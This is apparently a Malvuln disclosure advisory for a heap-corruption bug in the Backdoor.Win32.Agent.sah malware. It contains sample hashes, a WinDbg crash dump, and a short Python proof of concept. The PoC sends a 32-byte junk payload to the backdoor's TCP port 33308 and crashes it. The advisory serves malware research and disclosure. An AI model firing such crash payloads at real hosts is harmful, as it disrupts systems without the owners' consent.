Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3ee7a90b5fc3f2b7ba68911e8220df17.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.sah
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 33308. Third-party attackers who can reach infected systems can send a 32 byte junk payload causing a heap corruption overwriting the ECX register.
Type: PE32
MD5: 3ee7a90b5fc3f2b7ba68911e8220df17
Vuln ID: MVID-2021-0386
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 11/01/2021 

Memory Dump:
(248.13b0): Unknown exception - code c0000017 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414148 edx=00000053 esi=00000003 edi=00000003
eip=7709ed3c esp=046bf26c ebp=046bf3fc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7709ed3c c21400          ret     14h

0:004> .ecxr
eax=046bfba8 ebx=046bfc40 ecx=41414148 edx=00000053 esi=0029b000 edi=00000000
eip=77103c59 esp=046bfba8 ebp=046bfc00 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!RtlpAllocateHeapRaiseException+0x3b:
77103c59 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:002b:046bfbfc=fdfa2f2d

0:004> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe

FAULTING_IP: 
ntdll!RtlpAllocateHeapRaiseException+3b
77103c59 8b4dfc          mov     ecx,dword ptr [ebp-4]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77103c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)
   ExceptionCode: c0000017
  ExceptionFlags: 00000000
NumberParameters: 1
   Parameter[0]: 41414148

DEFAULT_BUCKET_ID:  HEAP_CORRUPTION

PROCESS_NAME:  Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe

ERROR_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota}  Not enough virtual memory or paging file quota is available to complete the specified operation.

EXCEPTION_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota}  Not enough virtual memory or paging file quota is available to complete the specified operation.

EXCEPTION_PARAMETER1:  41414148

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

ADDITIONAL_DEBUG_TEXT:  Enable Pageheap/AutoVerifer

FAULTING_THREAD:  000013b0

PRIMARY_PROBLEM_CLASS:  HEAP_CORRUPTION

BUGCHECK_STR:  APPLICATION_FAULT_HEAP_CORRUPTION

LAST_CONTROL_TRANSFER:  from 7707173a to 77103c59

STACK_TEXT:  
046bfc00 7707173a 13145b00 02450000 00030988 ntdll!RtlpAllocateHeapRaiseException+0x3b
046bfc40 770713ee 0000000c 00000000 13145b00 ntdll!RtlpAllocateHeapInternal+0x33a
046bfc5c 13142094 02450000 0000000c 41414140 ntdll!RtlAllocateHeap+0x3e
WARNING: Stack unwind information not available. Following frames may be wrong.
046bfc74 1314214c 41414140 046bfca0 131427f2 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x2094
046bfc80 131427f2 41414140 00000008 0246d000 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x214c
046bfca0 13145c3e 41414140 0246cfe0 00000000 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x27f2
046bff80 73df8654 0246cfe0 73df8630 4a421bc1 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x5c3e
046bff94 77094a77 0246cfe0 fdfa2cf1 00000000 kernel32!BaseThreadInitThunk+0x24
046bffdc 77094a47 ffffffff 770b9ea9 00000000 ntdll!__RtlUserThreadStart+0x2f
046bffec 00000000 13145b00 0246cfe0 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~4s; .ecxr ; kb

SYMBOL_NAME:  heap_corruption!heap_corruption

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: heap_corruption

IMAGE_NAME:  heap_corruption

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:  HEAP_CORRUPTION_c0000017_heap_corruption!heap_corruption

BUCKET_ID:  APPLICATION_FAULT_HEAP_CORRUPTION_heap_corruption!heap_corruption

Followup: MachineOwner


Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=33308

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="A"*32
    s.send(PAYLOAD)
    s.close()
    
    print("Backdoor.Win32.Agent.sah / Heap Corruption")
    print("MD5: 3ee7a90b5fc3f2b7ba68911e8220df17")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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